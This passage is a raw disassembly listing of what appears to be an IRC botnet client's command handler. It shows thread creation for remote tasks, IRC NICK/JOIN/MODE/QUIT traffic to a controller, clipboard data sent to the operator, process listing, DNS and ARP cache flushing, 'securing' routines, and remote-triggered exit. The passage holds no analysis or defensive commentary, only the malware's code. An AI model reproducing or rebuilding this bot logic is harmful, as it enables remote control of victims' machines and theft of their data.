		call	sub_40C062
		add	esp, 2Ch
		mov	[ebp+var_310], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_430]
		push	ebx
		push	eax
		push	offset sub_401704
		push	ebx
		push	ebx
		call	dword_418048	; CreateThread
		mov	ecx, [ebp+var_310]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_42F41C[ecx], eax
		jnz	short loc_40A8C7
		call	dword_418044	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp+var_2E4]
		push	offset unk_41EFE8
		push	eax
		call	sub_40C6C3
		add	esp, 0Ch


loc_40A880:				; CODE XREF: sub_4077FD+30D2j
		cmp	edi, ebx
		jnz	short loc_40A89E
		push	ebx
		lea	eax, [ebp+var_2E4]
		push	esi
		push	eax
		push	[ebp+var_9C]
		push	[ebp+arg_4]
		call	sub_404555
		add	esp, 14h


loc_40A89E:				; CODE XREF: sub_4077FD+3085j
		lea	eax, [ebp+var_2E4]
		push	eax
		call	sub_403145
		pop	ecx


loc_40A8AB:				; CODE XREF: sub_4077FD+2E5Bj
		add	[ebp+arg_18], 0Bh
		mov	eax, [ebp+arg_18]
		cmp	[eax], bl
		jnz	loc_40A608
		jmp	loc_407C50
; ---------------------------------------------------------------------------


loc_40A8BF:				; CODE XREF: sub_4077FD+30D0j
		push	32h
		call	dword_418040	; Sleep


loc_40A8C7:				; CODE XREF: sub_4077FD+3066j
		cmp	[ebp+var_2EC], ebx
		jz	short loc_40A8BF
		jmp	short loc_40A880
; ---------------------------------------------------------------------------


loc_40A8D1:				; CODE XREF: sub_4077FD+2ECFj
		push	offset unk_41F0D4


loc_40A8D6:				; CODE XREF: sub_4077FD+30FDj
		lea	eax, [ebp+var_2E4]
		push	eax
		call	sub_40C6C3
		pop	ecx
		pop	ecx
		jmp	loc_409BB9
; ---------------------------------------------------------------------------


loc_40A8E9:				; CODE XREF: sub_4077FD+11C0j
					; sub_4077FD+11D5j
		push	4
		call	sub_40C2A4
		test	eax, eax
		pop	ecx
		jle	short loc_40A8FC
		push	offset unk_41E8F4
		jmp	short loc_40A8D6
; ---------------------------------------------------------------------------


loc_40A8FC:				; CODE XREF: sub_4077FD+30F6j
		mov	eax, [ebp+edi+var_A0]
		mov	esi, 104h
		cmp	eax, ebx
		jz	short loc_40A91F
		push	eax
		lea	eax, [ebp+var_584]
		push	esi
		push	eax
		call	sub_40D3F7
		add	esp, 0Ch
		jmp	short loc_40A92E
; ---------------------------------------------------------------------------


loc_40A91F:				; CODE XREF: sub_4077FD+310Dj
		lea	eax, [ebp+var_584]
		push	esi
		push	eax
		push	ebx
		call	dword_41804C	; GetModuleFileNameA


loc_40A92E:				; CODE XREF: sub_4077FD+3120j
		mov	edi, [ebp+edi+var_9C]
		cmp	edi, ebx
		jnz	short loc_40A93E
		mov	edi, offset byte_41DF08


loc_40A93E:				; CODE XREF: sub_4077FD+313Aj
		push	edi
		lea	eax, [ebp+var_480]
		push	esi
		push	eax
		call	sub_40D3F7
		mov	eax, dword_41DE40
		push	7Fh
		push	[ebp+var_9C]
		mov	[ebp+var_374], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_378], ebx
		mov	[ebp+var_588], eax
		lea	eax, [ebp+var_370]
		push	eax
		call	sub_40C720
		mov	eax, [ebp+var_4]
		mov	[ebp+var_2F0], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_2EC], eax
		lea	eax, [ebp+var_480]
		push	eax
		lea	eax, [ebp+var_584]
		push	eax
		lea	eax, [ebp+var_2E4]
		push	[ebp+var_374]
		push	offset unk_41A458
		push	eax
		call	sub_40C6C3
		push	ebx
		lea	eax, [ebp+var_2E4]
		push	4
		push	eax
		call	sub_40C062
		add	esp, 38h
		mov	[ebp+var_37C], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_588]
		push	ebx
		push	eax
		push	offset sub_40BB81
		push	ebx
		push	ebx
		call	dword_418048	; CreateThread
		mov	ecx, [ebp+var_37C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_42F41C[ecx], eax
		jnz	short loc_40AA11
		call	dword_418044	; RtlGetLastWin32Error
		push	eax
		push	offset unk_41E8B8
		jmp	loc_40B129
; ---------------------------------------------------------------------------


loc_40AA09:				; CODE XREF: sub_4077FD+321Aj
		push	32h
		call	dword_418040	; Sleep


loc_40AA11:				; CODE XREF: sub_4077FD+31F9j
		cmp	[ebp+var_2E8], ebx
		jz	short loc_40AA09
		jmp	loc_409BB9
; ---------------------------------------------------------------------------


loc_40AA1E:				; CODE XREF: sub_4077FD+1196j
					; sub_4077FD+11ABj
		mov	edi, [ebp+edi+var_A0]
		cmp	edi, ebx
		jz	short loc_40AA31
		push	edi
		call	sub_40D9BF
		jmp	short loc_40AA38
; ---------------------------------------------------------------------------


loc_40AA31:				; CODE XREF: sub_4077FD+322Aj
		push	7
		call	sub_40C2C3


loc_40AA38:				; CODE XREF: sub_4077FD+3232j
		cmp	eax, ebx
		pop	ecx
		jz	loc_40B19B
		push	eax
		push	[ebp+var_4]
		push	[ebp+var_9C]
		push	[ebp+arg_4]
		call	sub_4010CA


loc_40AA53:				; CODE XREF: sub_4077FD+2839j
		add	esp, 10h
		jmp	loc_40B19B
; ---------------------------------------------------------------------------


loc_40AA5B:				; CODE XREF: sub_4077FD+116Cj
					; sub_4077FD+1181j
		mov	eax, dword_42D7B0
		cmp	eax, ebx
		jz	short loc_40AA7E
		call	eax	; DnsFlushResolverCache
		test	eax, eax
		lea	eax, [ebp+var_2E4]
		jz	short loc_40AA77
		push	offset aFlushdnsDnsCac ; "[FLUSHDNS]: DNS cache	flushed."
		jmp	short loc_40AA9F
; ---------------------------------------------------------------------------


loc_40AA77:				; CODE XREF: sub_4077FD+3271j
		push	offset aFlushdnsFailed ; "[FLUSHDNS]: Failed to	flush DNS cache."
		jmp	short loc_40AA9F
; ---------------------------------------------------------------------------


loc_40AA7E:				; CODE XREF: sub_4077FD+3265j
		push	offset aFlushdnsFail_0 ; "[FLUSHDNS]: Failed to	load dnsapi.dll."
		lea	eax, [ebp+var_2E4]
		jmp	short loc_40AA9F
; ---------------------------------------------------------------------------


loc_40AA8B:				; CODE XREF: sub_4077FD+1142j
					; sub_4077FD+1157j
		call	sub_405811
		test	eax, eax
		lea	eax, [ebp+var_2E4]
		jz	short loc_40AAAF
		push	offset aFlushdnsArpC_0 ; "[FLUSHDNS]: ARP cache	flushed."


loc_40AA9F:				; CODE XREF: sub_4077FD+3278j
					; sub_4077FD+327Fj ...
		push	200h
		push	eax
		call	sub_40D3F7
		jmp	loc_409C95
; ---------------------------------------------------------------------------


loc_40AAAF:				; CODE XREF: sub_4077FD+329Bj
		push	offset aFlushdnsFail_1 ; "[FLUSHDNS]: Failed to	flush ARP cache."
		jmp	short loc_40AA9F
; ---------------------------------------------------------------------------


loc_40AAB6:				; CODE XREF: sub_4077FD+1118j
					; sub_4077FD+112Dj
		cmp	[ebp+var_8], ebx
		jnz	short loc_40AAD5
		push	ebx
		push	[ebp+var_4]
		push	offset aClipboardData ;	"-[Clipboard Data]-"
		push	[ebp+var_9C]
		push	[ebp+arg_4]
		call	sub_404555
		add	esp, 14h


loc_40AAD5:				; CODE XREF: sub_4077FD+32BCj
		push	ebx
		push	[ebp+var_4]
		call	sub_405398
		push	eax
		push	[ebp+var_9C]
		push	[ebp+arg_4]
		call	sub_404555
		push	offset dword_41E7CC
		call	sub_403145
		add	esp, 18h
		jmp	loc_40B19B
; ---------------------------------------------------------------------------


loc_40AAFF:				; CODE XREF: sub_4077FD+1067j
					; sub_4077FD+107Cj
		push	[ebp+edi+var_A0]
		push	[ebp+var_4]
		push	[ebp+var_9C]
		push	[ebp+arg_4]
		call	sub_403B00


loc_40AB17:				; CODE XREF: sub_4077FD+3A7j
		add	esp, 10h
		jmp	loc_407C50
; ---------------------------------------------------------------------------


loc_40AB1F:				; CODE XREF: sub_4077FD+103Dj
					; sub_4077FD+1052j
		or	esi, 0FFFFFFFFh
		call	dword_41805C	; GetTickCount
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		mov	edi, [ebp+edi+var_A0]
		cmp	edi, ebx
		mov	[ebp+arg_0], eax
		jz	short loc_40AB48
		push	edi
		call	sub_40D9BF
		pop	ecx
		mov	esi, eax


loc_40AB48:				; CODE XREF: sub_4077FD+3340j
		mov	eax, [ebp+arg_0]
		xor	edx, edx
		mov	ecx, 15180h
		div	ecx
		cmp	eax, esi
		jnb	short loc_40AB61
		cmp	esi, 0FFFFFFFFh
		jnz	loc_40B19B


loc_40AB61:				; CODE XREF: sub_4077FD+3359j
		push	ebx
		call	sub_40B6FE
		push	eax
		lea	eax, [ebp+var_2E4]
		push	offset dword_41E7B0
		push	eax
		call	sub_40C6C3
		push	ebx
		lea	eax, [ebp+var_2E4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_9C]
		push	[ebp+arg_4]
		call	sub_404555
		lea	eax, [ebp+var_2E4]
		push	eax
		call	sub_403145
		add	esp, 28h
		jmp	loc_40B19B
; ---------------------------------------------------------------------------


loc_40ABA6:				; CODE XREF: sub_4077FD+1013j
					; sub_4077FD+1028j
		push	1Ch
		call	sub_40C2A4
		test	eax, eax
		pop	ecx
		jle	short loc_40ABC9
		cmp	[ebp+var_8], ebx
		jnz	loc_407C50
		push	ebx
		push	[ebp+var_4]
		push	offset unk_41E790
		jmp	loc_40B2FD
; ---------------------------------------------------------------------------


loc_40ABC9:				; CODE XREF: sub_4077FD+33B3j
		push	[ebp+var_9C]
		lea	eax, [ebp+var_63C]
		push	80h
		push	eax
		call	sub_40D3F7
		mov	eax, [ebp+arg_4]
		mov	edi, [ebp+edi+var_A0]
		mov	[ebp+var_640], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_5B4], eax
		mov	eax, [ebp+var_8]
		add	esp, 0Ch
		cmp	edi, ebx
		mov	[ebp+var_5B0], eax
		mov	[ebp+var_5B8], ebx
		jz	short loc_40AC2A
		push	edi
		push	offset aFull	; "full"
		call	sub_40D860
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40AC2A
		mov	[ebp+var_5B8], 1


loc_40AC2A:				; CODE XREF: sub_4077FD+3410j
					; sub_4077FD+3421j
		lea	eax, [ebp+var_2E4]
		push	offset dword_41E768
		push	eax
		call	sub_40C6C3
		push	ebx
		lea	eax, [ebp+var_2E4]
		push	1Ch
		push	eax
		call	sub_40C062
		add	esp, 14h
		mov	[ebp+var_5BC], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_640]
		push	ebx
		push	eax
		push	offset sub_405F40
		push	ebx
		push	ebx
		call	dword_418048	; CreateThread
		mov	ecx, [ebp+var_5BC]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_42F41C[ecx], eax
		jnz	short loc_40ACB7
		call	dword_418044	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp+var_2E4]
		push	offset unk_41E72C
		push	eax
		call	sub_40C6C3
		add	esp, 0Ch


loc_40AC9D:				; CODE XREF: sub_4077FD+1801j
					; sub_4077FD+1823j ...
		lea	eax, [ebp+var_2E4]
		push	eax
		call	sub_403145
		pop	ecx
		jmp	loc_407C50
; ---------------------------------------------------------------------------


loc_40ACAF:				; CODE XREF: sub_4077FD+34C0j
		push	32h
		call	dword_418040	; Sleep


loc_40ACB7:				; CODE XREF: sub_4077FD+3483j
		cmp	[ebp+var_5AC], ebx
		jz	short loc_40ACAF
		jmp	short loc_40AC9D
; ---------------------------------------------------------------------------


loc_40ACC1:				; CODE XREF: sub_4077FD+FE9j
					; sub_4077FD+FFEj
		cmp	[ebp+var_8], ebx
		jnz	short loc_40ACE0
		push	ebx
		push	[ebp+var_4]
		push	offset dword_41E710
		push	[ebp+var_9C]
		push	[ebp+arg_4]
		call	sub_404555
		add	esp, 14h


loc_40ACE0:				; CODE XREF: sub_4077FD+34C7j
		push	[ebp+arg_4]
		call	dword_42D90C	; closesocket
		call	dword_42D7E4	; WSACleanup
		call	sub_40551B
		push	ebx
		call	dword_418074	; ExitProcess


loc_40ACFB:				; CODE XREF: sub_4077FD+FBFj
					; sub_4077FD+FD4j
		push	ebx
		lea	eax, [ebp+var_2E4]
		push	[ebp+var_4]
		push	[ebp+arg_4]
		push	eax
		call	sub_40B807
		pop	ecx
		pop	ecx
		jmp	short loc_40AD2B
; ---------------------------------------------------------------------------


loc_40AD12:				; CODE XREF: sub_4077FD+F95j
					; sub_4077FD+FAAj
		push	ebx
		lea	eax, [ebp+var_2E4]
		push	[ebp+var_4]
		push	[ebp+arg_4]
		push	[ebp+arg_1C]
		push	eax
		call	sub_40BABB
		add	esp, 0Ch


loc_40AD2B:				; CODE XREF: sub_4077FD+3513j
		push	eax
		push	[ebp+var_9C]


loc_40AD32:				; CODE XREF: sub_4077FD+28DAj
		push	[ebp+arg_4]
		call	sub_404555
		add	esp, 14h
		jmp	loc_40B19B
; ---------------------------------------------------------------------------


loc_40AD42:				; CODE XREF: sub_4077FD+F6Bj
					; sub_4077FD+F80j
		push	[ebp+var_4]
		push	[ebp+var_9C]
		push	[ebp+arg_4]
		call	sub_4030CD
		jmp	loc_40AF41
; ---------------------------------------------------------------------------


loc_40AD58:				; CODE XREF: sub_4077FD+F41j
					; sub_4077FD+F56j
		push	[ebp+var_9C]
		lea	eax, [ebp+var_740]
		push	80h
		push	eax
		call	sub_40D3F7
		mov	eax, [ebp+arg_4]
		mov	edi, [ebp+edi+var_A0]
		mov	[ebp+var_744], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_6B8], eax
		mov	eax, [ebp+var_8]
		add	esp, 0Ch
		cmp	edi, ebx
		mov	[ebp+var_6B4], eax
		jz	short loc_40ADB2
		push	offset dword_41E70C
		push	edi
		call	sub_40D860
		neg	eax
		sbb	eax, eax
		pop	ecx
		inc	eax
		pop	ecx
		mov	[ebp+var_6BC], eax
		jmp	short loc_40ADB8
; ---------------------------------------------------------------------------


loc_40ADB2:				; CODE XREF: sub_4077FD+3599j
		mov	[ebp+var_6BC], ebx


loc_40ADB8:				; CODE XREF: sub_4077FD+35B3j
		lea	eax, [ebp+var_2E4]
		push	offset dword_41E6EC
		push	eax
		call	sub_40C6C3
		push	ebx
		lea	eax, [ebp+var_2E4]
		push	1Dh
		push	eax
		call	sub_40C062
		add	esp, 14h
		mov	[ebp+var_6C0], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_744]
		push	ebx
		push	eax
		push	offset sub_40C0CD
		push	ebx
		push	ebx
		call	dword_418048	; CreateThread
		mov	ecx, [ebp+var_6C0]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_42F41C[ecx], eax
		jnz	short loc_40AE38
		call	dword_418044	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp+var_2E4]
		push	offset dword_41E6B0
		push	eax
		call	sub_40C6C3
		add	esp, 0Ch
		jmp	loc_40A35E
; ---------------------------------------------------------------------------


loc_40AE30:				; CODE XREF: sub_4077FD+3641j
		push	32h
		call	dword_418040	; Sleep


loc_40AE38:				; CODE XREF: sub_4077FD+3611j
		cmp	[ebp+var_6B0], ebx
		jz	short loc_40AE30
		jmp	loc_40A35E
; ---------------------------------------------------------------------------


loc_40AE45:				; CODE XREF: sub_4077FD+EC5j
					; sub_4077FD+EDAj
		push	offset aKtsFinal ; "KTS-Final"
		lea	eax, [ebp+var_2E4]
		push	offset dword_41E694
		push	eax
		call	sub_40C6C3
		push	ebx
		lea	eax, [ebp+var_2E4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_9C]
		push	[ebp+arg_4]
		call	sub_404555
		add	esp, 20h
		jmp	loc_40A35E
; ---------------------------------------------------------------------------


loc_40AE7C:				; CODE XREF: sub_4077FD+E9Bj
					; sub_4077FD+EB0j
		push	dword_481BE8
		call	sub_40B6FE
		push	eax
		lea	eax, [ebp+var_2E4]
		push	offset unk_41E664
		push	eax
		call	sub_40C6C3
		push	ebx
		lea	eax, [ebp+var_2E4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_9C]
		push	[ebp+arg_4]
		call	sub_404555
		add	esp, 24h
		jmp	loc_40A35E
; ---------------------------------------------------------------------------


loc_40AEBA:				; CODE XREF: sub_4077FD+E71j
					; sub_4077FD+E86j
		mov	edi, [ebp+edi+var_A0]
		cmp	edi, ebx
		jz	short loc_40AEEC
		cmp	[ebp+var_C], ebx
		jz	short loc_40AEFB
		push	edi
		push	[ebp+var_C]
		call	sub_40E4B0
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_40AEFB
		push	eax
		push	offset aQuitS	; "QUIT	:%s\r\n"
		push	[ebp+arg_4]
		call	sub_40450F
		add	esp, 0Ch
		jmp	short loc_40AEFB
; ---------------------------------------------------------------------------


loc_40AEEC:				; CODE XREF: sub_4077FD+36C6j
		push	offset aQuitLater ; "QUIT :later\r\n"
		push	[ebp+arg_4]
		call	sub_40450F
		pop	ecx
		pop	ecx


loc_40AEFB:				; CODE XREF: sub_4077FD+36CBj
					; sub_4077FD+36DAj ...
		push	0FFFFFFFEh
		pop	eax
		jmp	loc_407C53
; ---------------------------------------------------------------------------


loc_40AF03:				; CODE XREF: sub_4077FD+E47j
					; sub_4077FD+E5Cj
		push	offset aQuitDisconnect ; "QUIT :disconnecting\r\n"
		push	[ebp+arg_4]
		call	sub_40450F
		pop	ecx
		or	eax, 0FFFFFFFFh
		pop	ecx
		jmp	loc_407C53
; ---------------------------------------------------------------------------


loc_40AF1A:				; CODE XREF: sub_4077FD+E1Dj
					; sub_4077FD+E32j
		push	offset aQuitReconnecti ; "QUIT :reconnecting\r\n"
		push	[ebp+arg_4]
		call	sub_40450F
		pop	ecx
		xor	eax, eax
		pop	ecx
		jmp	loc_407C53
; ---------------------------------------------------------------------------


loc_40AF30:				; CODE XREF: sub_4077FD+DF3j
					; sub_4077FD+E08j
		push	[ebp+var_4]
		push	[ebp+var_9C]
		push	[ebp+arg_4]
		call	sub_401000


loc_40AF41:				; CODE XREF: sub_4077FD+27DBj
					; sub_4077FD+3556j
		add	esp, 0Ch
		jmp	loc_40B19B
; ---------------------------------------------------------------------------


loc_40AF49:				; CODE XREF: sub_4077FD+D77j
					; sub_4077FD+D8Cj
		push	[ebp+edi+var_A0]
		push	1Ch
		push	offset aProcessList ; "Process list"
		push	offset aProc	; "PROC	"


loc_40AF5C:				; CODE XREF: sub_4077FD+C96j
					; sub_4077FD+CBFj ...
		push	[ebp+var_8]
		push	[ebp+var_4]
		push	[ebp+var_9C]
		push	[ebp+arg_4]
		call	sub_40C2EA
		add	esp, 20h
		jmp	loc_407C50
; ---------------------------------------------------------------------------


loc_40AF78:				; CODE XREF: sub_4077FD+C2Dj
					; sub_4077FD+C42j ...
		push	esi
		push	offset aSecure	; "secure"
		call	sub_40D860
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40AFA0
		push	esi
		push	offset aSec	; "sec"
		call	sub_40D860
		pop	ecx
		mov	[ebp+var_5B8], ebx
		test	eax, eax
		pop	ecx
		jnz	short loc_40AFAA


loc_40AFA0:				; CODE XREF: sub_4077FD+378Aj
		mov	[ebp+var_5B8], 1


loc_40AFAA:				; CODE XREF: sub_4077FD+37A1j
		push	[ebp+var_9C]
		lea	eax, [ebp+var_63C]
		push	80h
		push	eax
		call	sub_40D3F7
		mov	eax, [ebp+arg_4]
		add	esp, 0Ch
		cmp	[ebp+var_5B8], ebx
		mov	[ebp+var_640], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_5B4], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_5B0], eax
		mov	eax, offset aSecuring ;	"Securing"
		jnz	short loc_40AFF1
		mov	eax, offset aUnsecuring	; "Unsecuring"


loc_40AFF1:				; CODE XREF: sub_4077FD+37EDj
		push	eax
		push	offset dword_41E5CC
		lea	eax, [ebp+var_2E4]
		push	200h
		push	eax
		call	sub_40D3F7
		push	ebx
		lea	eax, [ebp+var_2E4]
		push	18h
		push	eax
		call	sub_40C062
		add	esp, 1Ch
		mov	[ebp+var_5BC], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_640]
		push	ebx
		push	eax
		push	offset sub_40699F
		push	ebx
		push	ebx
		call	dword_418048	; CreateThread
		mov	ecx, [ebp+var_5BC]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_42F41C[ecx], eax
		jnz	short loc_40B077
		call	dword_418044	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp+var_2E4]
		push	offset unk_41E590
		push	eax
		call	sub_40C6C3
		add	esp, 0Ch
		jmp	loc_409BDA
; ---------------------------------------------------------------------------


loc_40B06F:				; CODE XREF: sub_4077FD+3880j
		push	32h
		call	dword_418040	; Sleep


loc_40B077:				; CODE XREF: sub_4077FD+3850j
		cmp	[ebp+var_5AC], ebx
		jz	short loc_40B06F
		jmp	loc_409BDA
; ---------------------------------------------------------------------------


loc_40B084:				; CODE XREF: sub_4077FD+C03j
					; sub_4077FD+C18j
		push	offset aHum	; "Hum"
		push	offset dword_41E57C


loc_40B08E:				; CODE XREF: sub_4077FD+2BE9j
					; sub_4077FD+2BF3j ...
		lea	eax, [ebp+var_2E4]
		jmp	loc_409C8F
; ---------------------------------------------------------------------------


loc_40B099:				; CODE XREF: sub_4077FD+BD9j
					; sub_4077FD+BEEj
		mov	edi, [ebp+edi+var_A0]
		cmp	edi, ebx
		jz	short loc_40B0EC
		push	edi
		call	sub_40D9BF
		cmp	eax, ebx
		pop	ecx
		jl	short loc_40B0E4
		cmp	eax, 2
		jge	short loc_40B0E4
		mov	edx, [ebp+arg_18]
		mov	ecx, eax
		shl	ecx, 7
		lea	esi, [ecx+edx]
		cmp	[esi], bl
		jz	short loc_40B0DC
		lea	eax, [esi+1]
		push	eax
		lea	eax, [ebp+var_2E4]
		push	offset unk_41F8B0
		push	eax
		call	sub_40C6C3
		mov	[esi], bl
		jmp	short loc_40B135
; ---------------------------------------------------------------------------


loc_40B0DC:				; CODE XREF: sub_4077FD+38C4j
		push	eax
		push	offset unk_41E54C
		jmp	short loc_40B129
; ---------------------------------------------------------------------------


loc_40B0E4:				; CODE XREF: sub_4077FD+38B0j
					; sub_4077FD+38B5j
		push	eax
		push	offset unk_41E51C
		jmp	short loc_40B129
; ---------------------------------------------------------------------------


loc_40B0EC:				; CODE XREF: sub_4077FD+38A5j
		mov	edi, [ebp+arg_18]
		xor	esi, esi


loc_40B0F1:				; CODE XREF: sub_4077FD+3910j
		push	[ebp+var_A4]
		push	edi
		call	sub_40D860
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40B114
		inc	esi
		add	edi, 80h
		cmp	esi, 2
		jl	short loc_40B0F1
		jmp	loc_409BB9
; ---------------------------------------------------------------------------


loc_40B114:				; CODE XREF: sub_4077FD+3904j
		mov	eax, [ebp+arg_18]
		shl	esi, 7
		mov	[esi+eax], bl
		lea	eax, [ebp+var_C8]
		push	eax
		push	offset unk_41F8B0


loc_40B129:				; CODE XREF: sub_4077FD+2CCBj
					; sub_4077FD+3207j ...
		lea	eax, [ebp+var_2E4]
		push	eax
		call	sub_40C6C3


loc_40B135:				; CODE XREF: sub_4077FD+38DDj
		add	esp, 0Ch
		jmp	loc_409BB9
; ---------------------------------------------------------------------------


loc_40B13D:				; CODE XREF: sub_4077FD+BAFj
					; sub_4077FD+BC4j
		push	[ebp+var_A0]
		push	offset dword_41F85C
		call	sub_40D860
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40B19B
		call	sub_40C225
		push	ebx
		call	dword_418074	; ExitProcess


loc_40B15F:				; CODE XREF: sub_4077FD+B85j
					; sub_4077FD+B9Aj
		push	[ebp+edi+var_A0]
		xor	eax, eax
		cmp	[ebp+var_8C0], bl
		setnz	al
		push	eax
		lea	eax, [ebp+var_5A8]
		push	dword_41DE58
		push	eax
		call	sub_406777
		lea	eax, [ebp+var_5A8]
		push	eax
		push	offset aNickS	; "NICK	%s\r\n"
		push	[ebp+arg_4]
		call	sub_40450F
		add	esp, 1Ch


loc_40B19B:				; CODE XREF: sub_4077FD+614j
					; sub_4077FD+620j ...
		mov	eax, [ebp+arg_24]
		jmp	loc_407C53
; ---------------------------------------------------------------------------


loc_40B1A3:				; CODE XREF: sub_4077FD+6A1j
					; sub_4077FD+6B6j
		mov	edi, [ebp+edi+var_A0]
		cmp	edi, ebx
		mov	[ebp+arg_10], edi
		jz	loc_407C50
		cmp	[ebp+var_A8], ebx
		jnz	loc_407C50
		push	offset asc_41F920 ; "!"
		push	[ebp+var_A4]
		call	sub_40E6E9
		mov	edi, eax
		push	offset dword_4242EC
		push	ebx
		inc	edi
		call	sub_40E6E9
		push	offset asc_41E518 ; "~"
		push	eax
		call	sub_40E6E9
		push	[ebp+arg_10]
		mov	esi, eax
		push	offset aSock	; "sock"
		call	sub_40D860
		add	esp, 20h
		test	eax, eax
		jz	short loc_40B24B
		lea	eax, [ebp+var_C8]
		push	esi
		push	eax
		lea	eax, [ebp+var_C8]
		push	eax
		push	offset aNoticeSFailedS ; "NOTICE %s :FAILED (%s!%s).\r\n"
		push	[ebp+arg_4]
		call	sub_40450F
		lea	eax, [ebp+var_C8]
		push	eax
		push	offset aNoticeSFailed_ ; "NOTICE %s :FAILED.\r\n"
		push	[ebp+arg_4]
		call	sub_40450F
		push	esi
		push	edi
		push	offset unk_41E4B0


loc_40B237:				; CODE XREF: sub_4077FD+3AA7j
		lea	eax, [ebp+var_2E4]
		push	eax
		call	sub_40C6C3
		add	esp, 30h
		jmp	loc_409BDA
; ---------------------------------------------------------------------------


loc_40B24B:				; CODE XREF: sub_4077FD+3A01j
		mov	[ebp+arg_24], ebx


loc_40B24E:				; CODE XREF: sub_4077FD+3A6Ej
		mov	eax, [ebp+arg_24]
		push	esi
		push	off_41DF5C[eax]
		call	sub_40C3B5
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40B2A6
		add	[ebp+arg_24], 4
		cmp	[ebp+arg_24], 4
		jb	short loc_40B24E
		lea	eax, [ebp+var_C8]
		push	esi
		push	eax
		lea	eax, [ebp+var_C8]
		push	eax
		push	offset aNoticeSFailedS ; "NOTICE %s :FAILED (%s!%s).\r\n"
		push	[ebp+arg_4]
		call	sub_40450F
		lea	eax, [ebp+var_C8]
		push	eax
		push	offset aNoticeSFailed_ ; "NOTICE %s :FAILED.\r\n"
		push	[ebp+arg_4]
		call	sub_40450F
		push	esi
		push	edi
		push	offset unk_41E480
		jmp	short loc_40B237
; ---------------------------------------------------------------------------


loc_40B2A6:				; CODE XREF: sub_4077FD+3A64j
		mov	esi, [ebp+arg_18]
		xor	edi, edi


loc_40B2AB:				; CODE XREF: sub_4077FD+3ACFj
		cmp	[esi], bl
		jnz	short loc_40B2C2
		push	[ebp+arg_10]
		push	offset aSock	; "sock"
		call	sub_40D860
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40B2D3


loc_40B2C2:				; CODE XREF: sub_4077FD+3AB0j
		inc	edi
		add	esi, 80h
		cmp	edi, 2
		jl	short loc_40B2AB
		jmp	loc_407C50
; ---------------------------------------------------------------------------


loc_40B2D3:				; CODE XREF: sub_4077FD+3AC3j
		shl	edi, 7
		add	edi, [ebp+arg_18]
		lea	eax, [ebp+var_830]
		push	7Fh
		push	eax
		push	edi
		call	sub_40C720
		add	esp, 0Ch
		cmp	[ebp+var_8], ebx
		jnz	loc_407C50
		push	ebx
		push	[ebp+var_4]
		push	offset unk_41E45C


loc_40B2FD:				; CODE XREF: sub_4077FD+33C7j
		push	[ebp+var_9C]
		push	[ebp+arg_4]
		call	sub_404555
		add	esp, 14h
		jmp	loc_407C50
; ---------------------------------------------------------------------------


loc_40B313:				; CODE XREF: sub_4077FD+1F9j
					; sub_4077FD+20Ej
		push	[ebp+arg_10]
		push	offset aUserhostS ; "USERHOST %s\r\n"
		push	[ebp+arg_4]
		call	sub_40450F
		push	offset aXi	; "+xi"
		push	[ebp+arg_10]
		push	offset aModeSS	; "MODE	%s %s\r\n"
		push	[ebp+arg_4]
		call	sub_40450F
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	offset aJoinSS	; "JOIN	%s %s\r\n"
		push	[ebp+arg_4]
		call	sub_40450F
		add	esp, 2Ch
		mov	dword_481D58, esi
		jmp	loc_409BEA
sub_4077FD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B359	proc near		; DATA XREF: sub_4077FD+22FEo

var_414		= byte ptr -414h
var_214		= dword	ptr -214h
var_210		= byte ptr -210h
var_190		= byte ptr -190h
var_110		= byte ptr -110h
var_90		= byte ptr -90h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 414h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		mov	ecx, 85h
		mov	esi, eax
		lea	edi, [ebp+var_214]
		rep movsd
		mov	dword ptr [eax+210h], 1
		lea	eax, [ebp+var_110]
		push	eax
		lea	eax, [ebp+var_190]
		push	eax
		lea	eax, [ebp+var_210]
		push	eax
		call	sub_40B6A6
		push	eax
		lea	eax, [ebp+var_414]
		push	offset dword_41F92C
		push	eax
		call	sub_40C6C3
		xor	esi, esi
		add	esp, 18h
		cmp	[ebp+var_8], esi
		jnz	short loc_40B3D6
		push	esi
		lea	eax, [ebp+var_414]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_90]
		push	eax
		push	[ebp+var_214]
		call	sub_404555
		add	esp, 14h


loc_40B3D6:				; CODE XREF: sub_40B359+5Bj
		lea	eax, [ebp+var_414]
		push	eax
		call	sub_403145
		push	[ebp+var_10]
